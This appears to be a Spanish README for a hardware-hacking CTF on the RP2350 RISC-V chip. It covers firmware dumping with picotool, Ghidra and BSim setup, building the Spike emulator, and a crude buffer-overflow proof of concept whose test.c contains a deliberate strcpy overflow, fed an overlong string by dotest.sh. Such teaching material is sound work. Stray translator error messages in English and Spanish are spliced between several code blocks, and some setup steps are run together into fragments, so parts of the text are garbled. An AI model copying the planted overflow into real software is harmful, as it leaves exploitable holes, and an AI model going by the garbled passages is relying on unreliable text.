
Hardware Hacking CTF hcon2026hwctf - Explotación de RISCV Hazard3 (@Wren6991) por @b1n4ri0 @antoniovazquezblanco & @therealdreg
Si te gustan los CTF de hardware, aquí tienes el primer desafío público del HC0N CTF 2026 con desafíos de explotación RISC-V RP2350 (bajo nivel)
Hemos intentado que el desafío no sea demasiado elitista ni difícil, para que los cientos de asistentes a la conferencia tengan la oportunidad de resolver los desafíos. Espero que lo hayamos conseguido.
Si quieres ejecutar el CTF en casa, consigue una Raspberry Pi Pico 2, flashea este firmware y ¡no leas los write-ups! -> ctf.uf2
Nota para cualquiera que use una placa (RP2350/RP2354...) diferente a la del CTF:
El PCB del CTF tiene un LED SMD en el GPIO 25, debes tener un LED en ese GPIO

Cuando termines este CTF, si te ha gustado, aquí tienes otro similar con desafíos diferentes: https://github.com/therealdreg/ctfhardwarehackingcon2026
ADVERTENCIA: Los siguientes write-ups contienen spoilers de los desafíos. Si quieres resolverlos por tu cuenta, te recomendamos no leerlos hasta que hayas completado el CTF.
Primer Ganador: @mrexodia (Duncan Ogilvie) writeups/first_winner.md

Premio: kit keylogger de hardware okhi USB/PS2 + CWP (Certified WifiChallenge Professional) https://github.com/therealdreg/okhi
Segundo Ganador: @M3RINOOOOO (Cristobal Merino Saez) writeups/second_winner.md

Premio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, PICO2 H, CWP (Certified WifiChallenge Professional)
Tercer Ganador: @p4bl0vx (Pablo Moya Lopez) writeups/third_winner.md

Premio: Pimoroni PGA2350, PICO2 WH, Pimoroni PICO PLUS 2W, CWP (Certified WifiChallenge Professional).
Aquí te proporcionaremos algo de ayuda para que el Hardware Hacking CTF en HCON 2026 sea más fácil.

Un host Linux debería ser tu primera opción ;-), el depurado funciona mejor.
TeraTerm: Setup -> Terminal -> Transmit: CR+LF y [x] Local echo

Otros:
cutecom:``` sudo apt-get update sudo apt-get install cutecom
# ADVERTENCIA
Uno de los retos requiere depuración de hardware. Si estás haciendo el reto desde casa (sin un compañero de equipo que tenga otra placa), entonces para resolver ese reto también necesitarás comprar estos dos artículos. (Si no los compras, no pasa nada, pero no podrás resolver ese reto específico.)
- https://www.tiendatec.es/raspberry-pi-pico/2025-raspberry-pi-debug-probe-5056561803265.html
- https://www.tiendatec.es/raspberry-pi-pico/1979-cable-depuracion-pico-jtag-jst-sh-1-0-a-dupont-hembra-15cm-8472496024846.html
# Acerca de los scripts
Las herramientas incluidas en este repositorio fueron desarrolladas por @b1n4ri0 para la comunidad y específicamente para el HCON 2026 Hardware Hacking Challenge.
# Explotando el procesador RP2350 RISCV Hazard3 (@Wren6991) de 3 etapas RV32IMACZb* con depuración
RISCV Hazard3 es un procesador RV32IMACZb* de 3 etapas con soporte de depuración. Se utiliza en el microcontrolador RP2350 que se encuentra en la placa HCON2026HWCTF.
# Volcado de firmware RISCV Hazard3 usando picotool
Volcar firmware de dispositivos RP2350 con `picotool` es un proceso sencillo. En esta sección, aprenderás a hacerlo de manera eficaz.
Nota: `picotool` interactúa con dispositivos RP2350 (y RP2040) solo cuando están en modo BOOTSEL o si el firmware en ejecución incluye soporte USB stdio del Pico SDK.
## Compilando picotool
Instala las herramientas de compilación y las librerías necesarias mediante tu gestor de paquetes favorito.```bash
sudo apt-get update
sudo apt install build-essential pkg-config libusb-1.0-0-dev cmake -y
Crea un directorio dedicado para mantener tus herramientas organizadas. Esto asegura que las rutas utilizadas en pasos posteriores sean correctas.```bash cd $HOME mkdir rptools cd rptools
Clona los proyectos `picotool` y `pico-sdk`; necesitamos tanto la herramienta en sí como el SDK. Ten en cuenta que `picotool` requiere `pico-sdk` para compilar correctamente.```bash
git clone https://github.com/raspberrypi/picotool.git
git clone https://github.com/raspberrypi/pico-sdk.git
cd picotool
Crea el directorio de compilación y ejecuta CMake.
Importante: Debemos usar la bandera -DPICO_SDK_PATH para decirle a CMake exactamente dónde descargamos el SDK en el paso anterior, o podemos establecer la variable de entorno PICO_SDK_PATH.```bash
mkdir build
cd build
cmake -DPICO_SDK_PATH=$HOME/rptools/pico-sdk ..
sudo make install
Por defecto, acceder a dispositivos USB requiere privilegios de root. Copia el archivo de reglas de udev para permitir ejecutar `picotool` sin usar `sudo`.```bash
sudo cp ../udev/60-picotool.rules /etc/udev/rules.d/
Recarga las reglas de udev (o desconecta y vuelve a conectar tu dispositivo) y comprueba la versión ejecutando picotool version para asegurarte de que todo funciona:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-15.2.0, Release)
## Uso del binario precompilado
Si prefieres omitir el proceso de compilación, puedes descargar el binario precompilado desde el [repositorio oficial](https://github.com/raspberrypi/pico-sdk-tools/releases).```bash
gunzip picotool-2.2.0-a4-x86_64-lin.tar.gz
tar -xf picotool-2.2.0-a4-x86_64-lin.tar
cd picotool
Ejecutar picotool version debería funcionar como se espera:```bash
$ ./picotool version
picotool v2.2.0-a4 (Linux, GNU-11.4.0, Release)
## Habilitar el modo BOOTSEL en RP2350
Para realizar operaciones como volcar firmware, `picotool` requiere que el dispositivo esté en modo BOOTSEL. Sin embargo, `picotool` también puede interactuar con el dispositivo si el firmware que se está ejecutando incluye soporte de USB stdio del Pico SDK.
A continuación, mencionaré varias formas de activar este modo. Elige la que te parezca más adecuada para tu caso o simplemente la que te funcione.
Si tu placa **no está en modo BOOTSEL**, pero contiene el soporte de USB stdio**,** verás una salida como esta al intentar ejecutar comandos de `picotool`:```bash
$ ./picotool info
No accessible RP-series devices in BOOTSEL mode were found.
but:
RP2350 device at bus 1, address 23 appears to have a USB serial connection, so consider -f (or -F) to force reboot in order to run the command.
Este es el método de hardware estándar utilizado:
BOOTSEL o BOOT.BOOTSEL.Alternativa (si no quieres desenchufar la placa):
BOOTSEL.RESET o RST.BOOTSEL.Ahora deberías poder ejecutar comandos picotool:```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
### Software que habilita BOOTSEL
Si el firmware del dispositivo está en ejecución y tiene soporte de USB stdio, puedes forzarlo al modo BOOTSEL sin tocar la placa.```bash
./picotool reboot -uf
El comando utiliza la bandera -u para especificar que queremos reiniciar específicamente en modo BOOTSEL. Sin embargo, debido a que el dispositivo está ejecutando actualmente código de usuario, picotool lo ignorará por defecto. Por lo tanto, debemos añadir la bandera -f para forzar a la aplicación en ejecución a aceptar el comando de reinicio.
Sin -f, la operación fallaría simplemente porque la herramienta espera que el dispositivo ya esté en modo BOOTSEL.```bash
$ ./picotool info
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
**Consejo:** Puedes ejecutar comandos directamente en un dispositivo en ejecución sin necesidad de reiniciarlo manualmente primero añadiendo el flag `-f` a tu comando. `picotool` se encargará del reinicio, ejecutará el comando y reiniciará para volver a la aplicación.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information
name: hello_usb
features: USB stdin / stdout
binary start: 0x10000000
binary end: 0x10011d50
target chip: RP2350
image type: RISC-V
The device was asked to reboot back into application mode.
Para este desafío CTF, podemos extraer el firmware directamente sin entrar en modo BOOTSEL.
Recomiendo recopilar información sobre el programa en ejecución. Puedes hacerlo usando el comando info, que muestra la sección «Program Information» por defecto. Dado que el dispositivo está ejecutando código actualmente, añadimos el flag -f para forzar la conexión.```bash
$ ./picotool info -f
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Program Information name: hello_usb features: USB stdin / stdout binary start: 0x10000000 binary end: 0x10011d50 target chip: RP2350 image type: RISC-V
The device was asked to reboot back into application mode.
Esta salida revela detalles esenciales como el nombre del programa, su rango de memoria y la arquitectura de la imagen.
Ahora, procedemos a extraer el programa, crear un directorio para almacenar los archivos extraídos.```bash
mkdir -p $HOME/hcon2026hwctf/
Ejecute el siguiente comando para extraer el firmware:```bash ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Este único comando maneja todo el proceso de extracción. Fuerza al RP2350 a reiniciarse en modo BOOTSEL, lee el programa actualmente instalado desde la memoria flash y lo guarda como un archivo binario crudo. Para garantizar que la extracción haya sido correcta, vuelve a leer los datos para verificar que el archivo extraído coincida exactamente con el contenido del chip.
Deberías obtener una salida como esta:```bash
$ ./picotool save -pvf -t bin $HOME/hcon2026hwctf/hello_usb.bin
Tracking device serial number XXXXXXXXXXXXXXXX for reboot
The device was asked to reboot into BOOTSEL mode so the command can be executed.
Saving file: [==============================] 100%
Wrote 73040 bytes to /home/b1n4ri0/hcon2026hwctf/hello_usb.bin
Verifying Flash: [==============================] 100%
OK
The device was asked to reboot back into application mode.
¡Y eso es todo! Has volcado el programa con éxito.
Nota: Ten en cuenta que solo has extraído el programa instalado, no el contenido completo de la memoria flash.
Si encuentras errores, verifica que el dispositivo esté correctamente conectado. Si el reinicio automático falla, entra manualmente en modo BOOTSEL y vuelve a ejecutar el comando sin la opción -f. Para más información sobre las opciones disponibles, simplemente ejecuta picotool help <command>.
Una vez extraído el firmware del RP2350, el siguiente paso lógico es la ingeniería inversa. Para esta tarea recomendamos usar Ghidra. Sin embargo, se requieren ciertos ajustes para garantizar un análisis preciso.
Al cargar el binario e intentar desensamblarlo, es probable que encuentres funciones incompletas o código visualmente corrupto. Esto no significa que la extracción haya fallado. El problema radica en que Ghidra (incluida la versión 12.0.2) no puede interpretar de forma nativa ciertas instrucciones específicas de este SoC.
La razón técnica es que Ghidra implementa las extensiones RISC-V C (comprimida) y B (manipulación de bits) basándose en un borrador preliminar de la especificación (v0.92). En cambio, la CPU Hazard3 utilizada en el RP2350 implementa la versión ratificada v1.0.0. En consecuencia, muchas instrucciones modernas son desconocidas para Ghidra o han cambiado desde las definiciones anteriores.
Para obtener información detallada sobre las instrucciones compatibles con Hazard3, consulta la documentación oficial: wren.wtf/hazard3/doc/
Para resolver este conflicto y lograr un desensamblado correcto, debes actualizar las definiciones de procesador de Ghidra a la especificación ratificada v1.0.0.
Primero, localiza la ruta de instalación de Ghidra (p. ej., ~/ghidra_12.0_PUBLIC). Navega al directorio del procesador RISC-V y renombra la carpeta data existente como copia de seguridad:```bash
export GHIDRA_INSTALL_DIR=~/ghidra_12.0_PUBLIC
cd $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV
mv data data_back
A continuación, clona el repositorio que contiene las definiciones de instrucciones actualizadas y mueve la nueva carpeta `data` a tu instalación de Ghidra:```bash
cd $HOME
git clone https://github.com/therealdreg/hcon2026hwctf.git
cp -r hcon2026hwctf/RVGhidraImpl/data $GHIDRA_INSTALL_DIR/Ghidra/Processors/RISCV/
Con las definiciones de procesador parcheadas en su lugar, sigue estos pasos para cargar el binario correctamente:
PyGhidra.Non-Shared Project (p. ej., hwctf2026).Active Project.Language.RISCV y selecciona: RISCV:LE:32:default:gcc (RISCV default 32 little gcc).Ok.CodeBrowser.No.Una vez que el binario se carga con las definiciones de procesador correctas, Ghidra podrá desensamblar los opcodes con precisión. Sin embargo, es importante tener en cuenta que normalmente trabajamos con archivos .bin sin procesar. Estos archivos no contienen de forma inherente tablas de símbolos ni metadatos que faciliten el análisis.
La cantidad de información recuperable depende por completo del origen del binario. En este caso, nuestro objetivo es un firmware RP2350 compilado con pico-sdk v2.2.0. Esto supone una ventaja significativa, ya que al usar el SDK oficial, el binario podría ser compatible con picotool. Esta herramienta nos permite identificar y extraer metadatos, siempre que el binario aún contenga los encabezados necesarios para que picotool pueda analizarlos.
De forma predeterminada, Ghidra no puede interpretar el diseño de memoria sin intervención manual. Intentar analizar el firmware sin un mapa de memoria adecuado dará resultados deficientes y numerosos errores. Esto se debe a la arquitectura de Ghidra, que requiere contexto explícito para resolver referencias.
En este escenario concreto, el programa está compilado para ejecutarse desde SRAM. Esto significa que el firmware contiene referencias activas a dos regiones de memoria distintas con diferentes direcciones base. Sin una configuración correcta, a Ghidra le cuesta seguir el flujo de desensamblado entre estas regiones, lo que complica significativamente el proceso de ingeniería inversa.
Para agilizar la configuración y garantizar la coherencia, he desarrollado un script que automatiza el mapeo de memoria y la configuración del entorno. Aunque esta automatización simplifica los pasos iniciales, se recomienda encarecidamente revisar el código fuente del script o el README del repositorio para comprender la lógica subyacente del flujo de trabajo de análisis. Para una comprensión técnica más profunda del diseño de memoria y el mapeo de periféricos, también deberías consultar la hoja de datos del RP2350 oficial.
Tanto la herramienta de configuración Ghidra RP2350 Setup Tool como el SVD Loader para PyGhidra se han incluido directamente en este repositorio. Las siguientes secciones proporcionan instrucciones detalladas sobre cómo instalar y usar estas herramientas de manera eficaz.
El script hcon26_rp2350-ctf_auto_setup.py está diseñado para automatizar la configuración inicial y el entorno de análisis estático para firmware destinado a la Raspberry Pi RP2350 (núcleo RISC-V Hazard3). Esta herramienta se ha desarrollado específicamente para apoyar las tareas de ingeniería inversa asociadas al H-Con 2026 Hardware Hacking Challenge.
El firmware binario sin procesar carece de forma inherente de los encabezados de archivo y las tablas de símbolos necesarios para la carga automática. Esto obliga a los analistas a configurar manualmente los mapas de memoria, los puntos de entrada y los estados del procesador antes de que cualquier código sea legible. Esta herramienta automatiza todo ese proceso, preparando el binario al instante para la ingeniería inversa.
Este script elimina la sobrecarga de configuración manual que normalmente se requiere para el análisis de firmware embebido. Al automatizar el proceso de carga, garantiza un proyecto de Ghidra coherente y funcional, lo que permite a los participantes centrarse de inmediato en la investigación de vulnerabilidades y el análisis de lógica en lugar de en la configuración del entorno.
Configuración automatizada del entorno: Establece al instante el diseño de memoria correcto para el RP2350, definiendo las regiones Flash (XIP) y SRAM con los permisos adecuados que requiere el descompilador.
Detección del punto de entrada: Escanea los encabezados específicos del RP2350 para identificar la dirección real de inicio de ejecución, manejando vectores de arranque no estándar que suelen encontrarse en binarios compilados "On-RAM".
Resolución de contexto: Inicializa automáticamente el registro Global Pointer gp. Esto garantiza que las referencias a variables globales y datos estáticos se resuelvan correctamente en el descompilador, en lugar de aparecer como offsets rotos.
Reconstrucción de la sección de datos: Identifica y reubica las secciones inicializadas de Flash a RAM, replicando el proceso de arranque. Esto asegura que los literales de cadena y las variables globales aparezcan en sus ubicaciones de memoria correctas durante el análisis.
Recuperación de símbolos: Identifica heurísticamente la lógica principal de la aplicación y la secuencia de inicialización en tiempo de ejecución, lo que permite al analista saltar directamente al código de usuario sin rastrear manualmente todo el bootloader.
con26_rp2350-ctf_auto_setup.py directamente.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copia el archivo de script en el directorio `ghidra_scripts` de tu instalación de Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp hcon26_rp2350-ctf_auto_setup.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
Importa el archivo .bin de destino en Ghidra (RV32).
Abre el archivo en el Code Browser.
Cuando se te pregunte si deseas analizar el archivo, selecciona No.
Abre el Administrador de Scripts Window > Script Manager.
Busca hcon26_rp2350-ctf_auto_setup.py ubicado en la categoría RP2350.
Ejecuta el script y espera a que la salida de la consola confirme la finalización. Asegúrate de leer la información de Next Steps que se muestra en la consola.
Después de que el script de configuración termine, ejecuta el RP2350 SVD Loader para mapear los registros de hardware y los periféricos.
Los archivos System View Description (SVD) son documentos basados en XML que contienen una descripción detallada de los registros de periféricos de un microcontrolador. Definen direcciones de memoria, offsets de registros, campos de bits y valores de reset. En ingeniería inversa, estos archivos son esenciales para mapear el espacio de memoria bruto de un binario a nombres de periféricos legibles por humanos, transformando accesos a memoria anónimos en interacciones de hardware identificadas.
Este script es un cargador SVD para el RP2350 (Pico 2) adaptado para PyGhidra. Automatiza la creación de segmentos de memoria y definiciones de registros basándose en las especificaciones SVD oficiales.
Esta versión se ha desarrollado a partir del trabajo previo encontrado en los siguientes repositorios:
También puedes usar https://github.com/antoniovazquezblanco/GhidraSVD desarrollado por @antoniovazquezblanco
SVD-Loader-RP2350.py.```bash
git clone https://github.com/therealdreg/hcon2026hwctf.git2. Copia el archivo de script en el directorio `ghidra_scripts` de tu instalación de Ghidra.```bash
cd hcon2026hwctf/GhidraScripts
cp SVD-Loader-RP2350.py $GHIDRA_INSTALL_DIR/Ghidra/Features/PyGhidra/ghidra_scripts
.bin de destino en Ghidra.CodeBrowser.No.Window > Script Manager .SVD-Loader-RP2350.py dentro de la categoría RP2350.A.
Los scripts proporcionados requieren un entorno PyGhidra funcional.
- **Instalar dependencias**```bash
pip install pyghidra cmsis-svd
## Solución de problemas: import cmsis-svd
Si `SVD-Loader-RP2350.py` no encuentra la librería `cmsis-svd`, puedes instalarla directamente dentro del intérprete de PyGhidra:
1. En el **CodeBrowser**, ve a `Window > PyGhidra`.
2. Ejecuta el siguiente fragmento:```python
import subprocess as s
import sys
s.check_call([sys.executable, "-m", "pip", "install", "cmsis-svd"])
Después de configurar Ghidra y desensamblar el binario, el siguiente objetivo es distinguir las funciones específicas del desafío de las que pertenecen al SDK.
Normalmente, la herramienta estándar para esta tarea es Ghidra FID (Function ID). El flujo de trabajo consiste en compilar los ejemplos del SDK con la misma configuración que el binario objetivo para generar una base de datos FIDB, lo que permite a Ghidra identificar y nombrar funciones automáticamente. Sin embargo, FID tiene una tasa de reconocimiento significativamente baja en este caso.
Para superar esta limitación, usaremos BSim. Si bien existen otras alternativas como Version Tracking o Ghidriff, están diseñadas principalmente para comparar cambios entre versiones (parcheo de diferencias) y no son tan efectivas para este propósito específico.
Para que Ghidra identifique funciones mediante comparación, primero debemos generar una base de datos de referencia compilando los ejemplos de pico-sdk. Si quieres optimizar tu tiempo, puedes centrarte en los cuatro binarios esenciales mencionados al final de esta sección.
Clona el repositorio oficial de ejemplos:```bash git clone https://github.com/raspberrypi/pico-examples.git cd pico-examples mkdir build cd build
### Raspberry Pi Pico Extension
Para usar estas rutas, debe estar instalada la extensión Raspberry Pi Pico de VS Code. Estas estructuras de directorio son nativas del entorno de la extensión.
Una vez instalada la extensión, configure su proyecto seleccionando **Board Type: Pico 2** y la arquitectura **Architecture (pico2): RISC-V**. Simplemente crear el proyecto con esta configuración activará la instalación de todos los recursos necesarios. No se requiere compilación adicional para este caso.
Usaremos una configuración específica para el RP2350 Hazard3, asegurando que los símbolos y el formato coincidan con el binario del desafío.```bash
export PICO_SDK_PATH="$HOME/.pico-sdk/sdk/2.2.0"
export PICO_TOOLCHAIN_PATH="$HOME/.pico-sdk/toolchain/RISCV_ZCB_RPI_2_2_0_3"
Por favor, proporciona el contenido Markdown que deseas traducir.```bash
cmake -DPICO_PLATFORM=rp2350-riscv
-DPICO_BOARD=pico2
-DPICO_COMPILER=pico_riscv_gcc
-DCMAKE_BUILD_TYPE=Debug
-DPICO_DEFAULT_BINARY_TYPE=copy_to_ram
-DPICO_STDIO_USB=1
-DPICO_STDIO_UART=0
-DCMAKE_C_FLAGS="-march=rv32ima_zicsr_zifencei_zba_zbb_zbs_zbkb_zca_zcb_zcmp -mabi=ilp32 -O0 -g3 -fno-omit-frame-pointer -fno-lto"
-DCMAKE_EXE_LINKER_FLAGS="-Wl,--print-memory-usage"
..
No se proporcionó ningún contenido para traducir en el campo INPUT.```bash
make -j$(nproc) -k
Una vez que la compilación esté completa, agrupa todos los archivos .elf en un directorio dedicado para un análisis más fácil:```bash
mkdir ../sdk-elfs
find . -name "*.elf" -exec cp --backup=numbered {} ../sdk-elfs/ ;
### Análisis automatizado con Ghidra Headless
Para procesar el gran volumen de archivos generados, usar el modo headless de Ghidra es lo más eficiente. Asegúrate de ejecutar el análisis apuntando al proyecto donde ya hayas configurado el binario del reto:```bash
# Run $GHIDRA_INSTALL_DIR/support/analyzeHeadless to check the usage
$GHIDRA_INSTALL_DIR/support/analyzeHeadless $HOME/hcon2026hwctf hwctf2026 -import pico-examples/sdk-elfs -recursive -processor "RISCV:LE:32:default"
Si prefieres reducir el tiempo de análisis, procesa al menos estos cuatro archivos, que contienen la mayoría de las funciones del SDK presentes en el desafío:
tinyusb_dev_cdc_msc.elfmulticore_runner_queue.elfhello_gpio_irq.elfhello_timer.elfCuando la identificación tradicional por firmas (FID) es insuficiente, BSim es la alternativa más potente. A diferencia de otros métodos, BSim se basa en el comportamiento y la estructura del código, lo que permite comparaciones entre arquitecturas e ignora las variaciones causadas por los niveles de optimización.
Aunque se puede usar la interfaz gráfica, realizar la configuración mediante terminal es más eficiente para procesar múltiples binarios.```bash cd $GHIDRA_INSTALL_DIR/support
Crea el archivo de base de datos H2:```bash
# Run ./bsim to check the usage
./bsim createdatabase file:/<db_directory_path>/pico_db medium_nosize
Extraer firmas de los binarios ya analizados en el proyecto Ghidra:```bash mkdir ~/bsim_sigs ./bsim generatesigs ghidra:$HOME/hcon2026hwctf/hwctf2026 ~/bsim_sigs --bsim file:/<db_directory_path>/pico_db
Finalice el proceso confirmando las firmas generadas en nuestra base de datos:```bash
./bsim commitsigs file:/<db_directory_path>/pico_db ~/bsim_sigs
Una vez creada la base de datos, vincúlala al Code Browser:
BSim > Manage Servers.green "+" icon y selecciona el tipo File.Dismiss para cerrar la ventana.Hay varias formas de buscar coincidencias con BSim; la siguiente es la más recomendada:
BSim > Search functions.Similarity Threshold para encontrar funciones que hayan sufrido ligeras variaciones durante la compilación.Consejo: Si estás seguro de que una función es correcta, pero sus funciones internas ("hijas") siguen sin nombre, usa la ventana de resultados de BSim:
Shift + C para abrir la comparación.Compare matching callees.Si la opción de BSim no se ajusta a tus necesidades, puedes usar Version Tracking.
En la ventana principal de Ghidra, localiza el blue footprints icon en el extremo derecho del Tool Chest para abrir la herramienta Version Tracking.
blue footprints icon del menú superior izquierdo para crear una nueva sesión.tinyusb_dev_cdc_msc).Finish.Se abrirán tres ventanas: Source Tool, Destination Tool y la consola de Version Tracking. En la ventana de Version Tracking:
green "+" icon (Add additional correlations).Finish y espera a que concluya el proceso. En general, los algoritmos basados en BSim ofrecerán los resultados más sólidos.Una vez obtenidos los resultados de Version Tracking, existen dos metodologías principales para aplicar los cambios al binario del desafío:
Para implementar la segunda estrategia, es esencial filtrar los resultados para centrarse en las coincidencias más sólidas:
Filter, escribe "Function" para mostrar solo las correlaciones de funciones.Para confirmar y transferir los nombres al binario de destino, usa el green tick icon (ubicado entre los iconos de bandera y disco).
Dependiendo de tu estilo de análisis, puedes optar por dos enfoques:
main. A medida que encuentres funciones desconocidas, usa BSim para identificarlas.Elige el método que mejor te funcione.
Más información sobre BSim:
sudo apt-get update sudo apt-get install git build-essential autoconf automake autotools-dev curl python3 libmpc-dev libmpfr-dev libgmp-dev gawk build-essential bison flex texinfo gperf libtool patchutils bc zlib1g-dev libexpat-dev device-tree-compiler libboost-regex-dev libboost-system-dev
The input chunk is empty — no content was provided to translate.```
cd /home/dreg
mkdir RISCV
export RISCV=/home/dreg/RISCV
export PATH=$PATH:$RISCV/bin
I don't see any content to translate. The input after "INPUT:" is empty. Please provide the actual chunk text.``` cd /home/dreg/RISCV git clone https://github.com/riscv/riscv-pk git clone https://github.com/riscv/riscv-isa-sim git clone --recursive https://github.com/riscv/riscv-gnu-toolchain
I don't see any content to translate in this request. The input section is empty. Please provide the Markdown chunk text you'd like translated into Spanish.```
cd /home/dreg/RISCV/riscv-gnu-toolchain
mkdir build
cd build
../configure --prefix=$RISCV --with-arch=rv32imac_zicsr_zifencei_zba_zbb_zbs --with-abi=ilp32
make
Por favor, proporciona el contenido Markdown que deseas traducir.``` cd /home/dreg/RISCV/riscv-pk mkdir build cd build ../configure --prefix=$RISCV --host=riscv32-unknown-elf make make install
I don't see any source text in the input to translate. The input ends after "INPUT:" with no Markdown content provided.
Please provide the actual chunk text, and I'll translate it from English to Spanish following all the formatting rules.```
cd /home/dreg/RISCV/riscv-isa-sim
mkdir build
cd build
../configure --prefix=$RISCV --enable-histogram
make
make install
poc.c (/home/dreg/RISCV/poc.c)``` #include <stdio.h> int main() { printf("Hello Dreg RISCV!\n"); return 0; }
Compila poc.c```
cd /home/dreg/RISCV
/home/dreg/RISCV/bin/riscv32-unknown-elf-gcc -march=rv32imac_zicsr_zifencei_zba_zbb_zbs -mabi=ilp32 -static -g poc.c -o poc
Ejecutar poc en Spike``` cd /home/dreg/RISCV /home/dreg/RISCV/bin/spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
La salida debería ser:```
Hello Dreg RISCV!
¡Felicidades, has compilado y ejecutado correctamente un programa RISC-V usando el emulador Spike!
Depurando la función main:``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/riscv32-unknown-elf-objdump -D poc
función main en mi caso en 0x00010154```
.....
0001016a <main>:
1016a: 1141 addi sp,sp,-16
1016c: c606 sw ra,12(sp)
1016e: c422 sw s0,8(sp)
10170: 0800 addi s0,sp,16
10172: 67c9 lui a5,0x12
10174: 43c78513 addi a0,a5,1084 # 1243c <__errno+0x6>
10178: 26ad jal 104e2 <puts>
1017a: 4781 li a5,0
1017c: 853e mv a0,a5
1017e: 40b2 lw ra,12(sp)
10180: 4422 lw s0,8(sp)
10182: 0141 addi sp,sp,16
10184: 8082 ret
.....
Please provide the Markdown content to translate.``` cd /home/dreg/RISCV/ /home/dreg/RISCV/bin/spike -d --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs "/home/dreg/RISCV/riscv32-unknown-elf/bin/pk" poc
Dentro del depurador de spike:```
(spike) until pc 0 0x0001016a
(spike) pc 0
0x0001016a
Ahora estás al principio de la función main, presiona enter para avanzar por las instrucciones una por una.``` (spike) core 0: 0x0001016a (0x00001141) c.addi sp, -16 (spike) core 0: 0x0001016c (0x0000c606) c.swsp ra, 12(sp) (spike) core 0: 0x0001016e (0x0000c422) c.swsp s0, 8(sp) (spike) core 0: 0x00010170 (0x00000800) c.addi4spn s0, sp, 16
Puedes usar el comando `help` para ver más opciones.
Spike es un depurador MUY básico, así que combina el `riscv32-unknown-elf-objdump` externo, `dump` (comando de spike) + `hexdump` externo para analizar memoria y código de manera más efectiva...
## Ejemplo de POC chapucera
Ejemplo de POC chapucera de un clásico desbordamiento de búfer explotado en RISCV Hazard3 usando el emulador Spike.
En RISCV, la dirección de retorno puede almacenarse en un registro en lugar de en la pila como en x86. Para habilitar la sobrescritura de la dirección de retorno basada en la pila, añadí llamadas a funciones anidadas para colocar la dirección de retorno en la pila.
test.c```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
static unsigned char buff[0x100] = { 0 };
static void __attribute__((optimize("O0"))) func3(unsigned char* exbuff)
{
strcpy((char*)exbuff, (char*)buff);
}
static void __attribute__((optimize("O0"))) func2(unsigned char* exbuff)
{
func3(exbuff);
}
static void __attribute__((optimize("O0"))) func1(void)
{
unsigned char exbuff[10] = { 0 };
func2(exbuff);
}
static void __attribute__((optimize("O0"))) func_impossible(void)
{
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("This function is impossible to reach\n");
printf("good hacker!\n");
exit(0);
}
int main(int argc, char* argv[])
{
printf("\nhttps://github.com/therealdreg/hcon2026hwctf\n");
printf("Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg\n");
printf("func_impossible address: %p\n", func_impossible);
if (argc < 2)
{
printf("Error, must execute with one arg\n");
return 1;
}
printf("argv 1: %s\n", argv[1]);
strcpy((char*)buff, argv[1]);
func1();
return 0;
}
dotest.sh``` #!/usr/bin/env bash
set -x
RISCV=/home/dreg/RISCV PATH=$PATH:$RISCV/bin ARCH="rv32imac_zicsr_zifencei_zba_zbb_zbs" ABI="ilp32"
CC="riscv32-unknown-elf-gcc" PK="$RISCV/riscv32-unknown-elf/bin/pk" ISA_SPIKE="$ARCH"
$CC -march=$ARCH -mabi=$ABI -static -g test.c -o test
file test
spike --isa=$ISA_SPIKE "$PK" test AA
echo
spike --isa=$ISA_SPIKE "$PK" test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Después de dotest.sh esta es la salida```
....
+ spike --isa=rv32imac_zicsr_zifencei_zba_zbb_zbs /home/dreg/RISCV/riscv32-unknown-elf/bin/pk test AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
https://github.com/therealdreg/hcon2026hwctf
Classic Buffer Overflow Exploiting on RISCV HAZARD3 by Dreg
func_impossible address: 0x101d2
